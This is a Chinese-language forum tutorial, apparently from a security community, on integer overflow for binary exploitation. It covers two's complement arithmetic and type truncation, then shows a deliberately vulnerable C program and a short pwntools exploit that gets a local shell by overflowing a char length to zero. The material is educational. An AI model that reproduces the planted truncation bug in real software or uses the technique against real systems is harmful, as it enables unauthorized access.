首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
3
1
PWN入门-14-整数溢出收徒
发表于: 2024-10-29 21:19
13233
PWN入门-14-整数溢出收徒
福建炒饭乡会
7
2024-10-29 21:19
13233
# 整数溢出的介绍 在计算机中,一个数据类型可以存储数值的容量并不是无限的,它能存储的数值容量是由数据类型占用的比特位数量决定的。 此时会有两种情况需要考虑,一是非常大的整数(所有数据类型都容不下了)应该如何去计算,二是超出类型A容量的整数存入类型A后会发生什么变化。 ## 整数基础 为了分析并解决着两类问题,我们首先需要先了解一下计算机中整数是如何存储的。 整数是信息的一种表现形式,计算机为了表达信息就需要创造出一种语言,语言由符号组成(比如a-z,汉字等等),由于计算机由物理介质组成,想要使用英文字母进行通信就需要找到具有26种状态的物理介质,显然具有这样性质的物理介质并不容易找到。 但是具有2种状态的物理介质就非常容易搞定(比如电路的高低电平),因此计算机采用二进制计数法中作为语言表达信息(计算机中经常可以看到16进制的身影,是因为16是2的4倍,4个二进制数等于1个十六进制数)。 ``` | 16进制 | 二进制 | | 0xa7 | 1010 0111 | b1010 -> 0xa -> 0 * 2^0 + 1 * 2^1 + 0 * 2^2 + 1 * 2^3 b0111 -> 0x7 -> 1 * 2^0 + 1 * 2^1 + 1 * 2^2 + 0 * 2^3 b10100111 -> 提出2的4次方 1 * 2^0 + 1 * 2^1 + 1 * 2^2 + 0 * 2^3 + 0 * 2^4 + 1 * 2^5 + 0 * 2^6 + 1 * 2^7 = 1 * 2^0 + 1 * 2^1 + 1 * 2^2 + 0 * 2^3 + 2^4 * (0 * 2^0 + 1 * 2^1 + 0 * 2^2 + 1 * 2^3) = 0xa7 ``` 想要表达正整数,二进制计数法就足以表达意思了,但它表达负整数就不行了。 ### 原码 可以先这样,将最高的比特位作为标志位标记正负,0xxx代表正数,1xxx代表负数,这样问题不就解决了吗。 那我们接下来再从运算角度上看看。 ``` -2 + 1 = -1 1 -> b0001 -2 -> b1010 b1010 + b0001 = b1011 -> -3 ``` 原码并没有给正数和负数间建立数学联系,因此原码表示的负数参与进计算时出现错误是一种必然。 对于人类来讲,通过符号`-`在逻辑上区分正负数并不是问题,但对于计算机来讲,就比较困难了。 ### 加法逆元与模运算 我们知道$x - y$可以看作是$x + (-y)$,正数y的加法逆元是-y,此时我们将减法运算转换成了加法运算,那么加法逆元能不能使用正数进行表示呢? 首先我们已经知道了数据类型存储的数值数量是有上限的,一个数值超出最大值后会出现什么情况呢?答案其实很简单,把多余的部分扔掉就好了,就好比你有一个桶,满了就把水倒掉,留下空桶再继续接水,这个过程可以被称作是模运算(容量被称作是模,模运算和取余的差别在于,取模是向无穷小取整,而取余则向0取整)。 因此我们可以找到数值A(≤最大值)对应的数值B(>最大值),使得数值B参与计算时可以起到和数值A一样的效果(水桶容量为5升,接3升水和接8升水,水桶中最后装的都是3升水,8升水中多出去的5升被倒掉了)。 对于12和4它们相加和是$2^4$(模$2^3$的整数倍),且根据模$2^3$进行模运算结果也是相同的,从数学上讲,具备这一类性质的数值属于同余类。 ``` 模为8 1 + 4 = 5 1 + 12 = 13 -> 13 mod 8 = 5 12 mod 8 = 4 ``` 假如将正数A看作向前进,那么对应的负数-A就相当于向后退,那么只有向后退才可以达到负数想要的效果吗? 当然不是,加上一个大于等于最大值的数值也可以。 ``` 模为5: 4 - 1 = 4 + (-1) = 3 4 + 4 = 8 -> 8 mod 5 = 3 ``` 观察上方的示例推断出,由于模的限制,在计算机中减法与加法运算结果是同余类,由此可以实现减法运算向加法运算的转变,因为加数可以是0,所以作为被加数的加法逆元,其负数表示和正数也是同余类,由此我们可以得到加法逆元的负数表示向正数表示转变的表达式$-x ≡ M - x (mod M)$。 ``` 模记作M 0 ≤ a < M, 0 ≤ x ≤ M -> |a + (-x)| < M 0 ≤ a < M, 2M > y ≥ M -> a + y > M (a + (-x)) ≡ (a + y) (mod M) 设a = 0 -x ≡ y (mod M) -> (-x + y) / M = 1 -> -x = M - y -x ≡ M - x (mod M) ``` ### 补码 在计算机中,数据类型占用n个比特位,我是用$2^n$作为模合情合理吧,那么正数继续沿用原码的表示方式,我们可以非常容易的得到负数的表示方式$-x ≡ 2^n - x (mod 2^n)$。 ### 奇妙的二进制与反码的产生 由于计算机采用二进制表达信息,所以这里会产生一个非常有意思的事情,就是$2^n$的二进制表示格式为`b1000...000`,模$2^n$下最大值的二进制表示形式为`b111...111`,即$2^n -1$,因此`2^n`减去任意数值,都相当于被减数的二进制表示取反后再加1。 ``` 假设数据类型占用4个比特位,模为2^4 -5 ≡ 2^4 - 5 (mod 2^4) -5 ≡ 16 - 5 = 11 5 -> b0101 11 -> b1011 16 - 5 -> b10000 - b0101 = b1 + b1111 - b0101 = b1 + b1010 = b1011 ``` 我们将以$2^n -1$为模的计算方式称作反码。 ### 反码的缺陷 在现在的计算机中,一般使用的都是补码,而不使用反码则是因为它存在较为致命的缺陷。 ``` 假设数据类型占用4个比特位,采用反码表示 b0000 - b0111 +0 - +7 b1000 - b1111 -7 - -0 ``` 从上方的示例中可以看到,反码表示的正数和负数中同时存在着正零值和负零值,它破坏了数值的连续性和一致性,为了规避此问题采用补码。 ### 模运算与消失的高比特位 二进制表示的数值进行模运算,只需要根据模大小将多余的高比特位抹除就可以,这个结论对吗? 答案是肯定的,下方会给出推到过程。 $$ \sum_{i=0}^{w-1}{x_i2^i\,\,\left( mod\,\,2^n \right)} \\ =\left( x_{w-1}2^{w-1}+\cdots +x_02^0 \right) \left( mod\,\,2^n \right) \\ =x_{w-1}2^{w-1}\left( mod\,\,2^n \right) +\cdots +x_02^0\left( mod\,\,2^n \right) \\ =\left( x_{w-1}2^{w-1}-2^n\frac{x_{w-1}2^{w-1}}{2^n} \right) +\cdots +\left( x_n2^n-2^n\frac{x_n2^n}{2^n} \right) +\cdots +\left( x_02^0-2^n\frac{x_02^0}{2^n} \right) \\ =\left( x_{w-1}2^{w-1}-x_{w-1}2^{w-1} \right) +\cdots +\sum_{i=0}^n{x_i2^i} \\ =0++\cdots +\sum_{i=0}^n{x_i2^i} \\ =\sum_{i=0}^n{x_i2^i} $$ 从上面的推到中可以看出,低比特位区域的因为数值大小没有超过模所以不受影响,高比特位区域的数值自己和自己消除了,所以上方提出的结论是正确的。 ### 总结 计算机为了减法运算而单独实现电路是非常不明智的,考虑到加法逆元可以将减法运算转变为加法运算,所以计算机使用加法运算代替减法运算。 在模运算中加法逆元的负数表示可以转变为正数表示(互为同余类),此时负数就被彻底消除。 对于计算机来讲,占据n个比特位的数据类型参与加减法运算时,它们结果天生就是模$2^n$下的同余类计算,因此补码就此产生并成为主流。 反码从二进制的角度上观察是比较有趣的(正数取反就可以),但是反码产生的数值会有不连续和不一致的问题,这样的问题应该尽量避免,所以弃用了反码。 ## 溢出的情况分析 让整数数据类型A发生异常情况其实都可以归咎为一类,就是数据类型A被塞入了超量整数B,导致整数B进行模运算后再交给数据类型A,使数据类型A中存储的数值与数值B不相符。 在C语言中存在着两大类整数数据类型,一是无符号类型,二是有符号类型,两者的区别在于无符号类型只表示正整数,有符号类型既可以表示正整数也可以表示负整数。 其中无符号数溢出时,直接对数值取模获得可以获得新的结果。有符号数溢出时,情况会复杂一些,因为有符号数据类型虽然占用了n个比特位,但是它相当于将空间劈开了一半,正整数和负整数各占$2^{n - 1}$,当数值溢出时,会导致最高比特位(符号位)发生变化。 在AMD64架构的机器中,有符号数据类型产生溢出时会被`eflags`标志寄存器中的`OF`标志位记录,无符号数据类型产生溢出时会被`eflags`标志寄存器中的`CF`标志位记录。 由于无符号数据类型产生溢出时不会导致符号改变,所以一般会将这种情况称作是回绕。 ## 数据类型变化的情况分析 当宽度(占用比特位数量)更小的数据类型向宽度更大的数据类型进行转换时,不会带来什么问题,仍会保留原数值,但反之则不然。 宽度更大的数据类型向宽度更小的数据类型进行转换时,一是原数值在进行模运算后后可能出现数值上损失,二是符号位可能会发生变化,三是目标数据类型可能与源数据类型对符号位的解释不一致导致产生的数值变化。 # 利用思路 一个变量在程序的作用大致可以分成对外输出和作为限制条件存在两种,当我们可以控制变量时,就可以突破原有的限制条件造成破坏。 因此当我们想要利用整数类型的变量进行PWN时,首先要确定存在可以利用的变量,整数类型的变量在程序经常会被用于`if`语句(等其他条件语句)或者`strncpy`接口(等其他缓冲区变量的复制接口)中,当我们控制了变量,就可以让它跳过条件语句的检查或者往缓冲区内复制过量的数据。 显然整数溢出并不会直接导致安全问题,我们需要借助整数溢出迫使其他部分出错。 # 示例讲解 程序的源代码在下方给出。 ``` #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define USER_CORRECT_PASSWD "oPhTUsrFjh1iKE" int vuln(const char* buf, char len) { printf("buf size %d\n", len); if (strncmp(USER_CORRECT_PASSWD, buf, len) == 0) { system("/bin/sh"); } } int main(int argc, char** argv) { printf("hello int abnormal\n"); if (argc == 2) { vuln(argv[1], strnlen(argv[1], 0x1000)); } else { printf("need input\n"); } return 0; } ``` 从上方的程序中可以看到,`strnlen`的返回值属于`size_t`类型,而`vuln`函数中`len`形参的数据类型是`char`,`size_t`明显是比`char`要宽的,当我们提交的`argv[1]`的长度超出`char`的容量时,就会发生溢出。 在`vuln`函数中会使用`strncmp`函数中跟预设的字符串进行比对,如果一致就会通过`system`函数调用Shell,它这里比较两个字符串的长度是形参`len`决定的,如果我们让传递给`len`的数值溢出到0,那么`strncmp`函数就不会理会待比较字符串内容永远返回0了。 ## exploit构造 经过上面的分析,构造出下方的exploit。 由于`char`类型占了1字节(8比特),所以模是$2^8$。 ``` import pwn import os pwn.context.clear() pwn.context.update( arch = 'amd64', os = 'linux', ) target_info = { 'exec_path': './int_abnormal', 'char_bytes': 0x8, } pwn.context.binary = pwn.ELF(target_info['exec_path']) cmdline = b'A' * (2**target_info['char_bytes']) conn = pwn.process([target_info['exec_path'], cmdline]) conn.interactive() ``` ## 成功PWN 运行exploit成功获取Shell。 ``` [+] Starting local process './int_abnormal': pid 5236 [*] Switching to interactive mode hello int abnormal buf size 0 $ id uid=1000(astaroth) gid=1000(astaroth) groups=1000(astaroth),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),114(bluetooth),117(lpadmin),121(scanner) $ exit [*] Got EOF while reading in interactive $ [*] Process './int_abnormal' stopped with exit code 0 (pid 5236) [*] Got EOF while sending in interactive ```
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
#基础知识
#漏洞机制
#溢出
收藏
・
3
点赞
・
1
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
PLEBFE
为你点赞!
2025-4-16 04:46
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
2
)
苏啊树
雪 币:
5317
活跃值:
(3673)
能力值:
( LV9,RANK:250 )
在线值:
发帖
10
回帖
62
粉丝
35
关注
私信
苏啊树
5
2
楼
整数溢出收徒
2024-11-9 20:32
0
5031
雪 币:
26
活跃值:
(30)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
2
粉丝
0
关注
私信
5031
3
楼
还收徒不?
2026-3-30 20:44
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
福建炒饭乡会
7
28
发帖
34
回帖
480
RANK
关注
私信
他的文章
[原创]PWN入门-24-MMAP除妖
3637
PWN入门-23-LargeBin托梦
3529
[原创]PWN入门-22-FastBin与DoubleFree降妖
4793
[原创]PWN入门-21-OffByOne遇险
4827
[原创]Web安全入门-网络资源的访问-隧道
6099
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部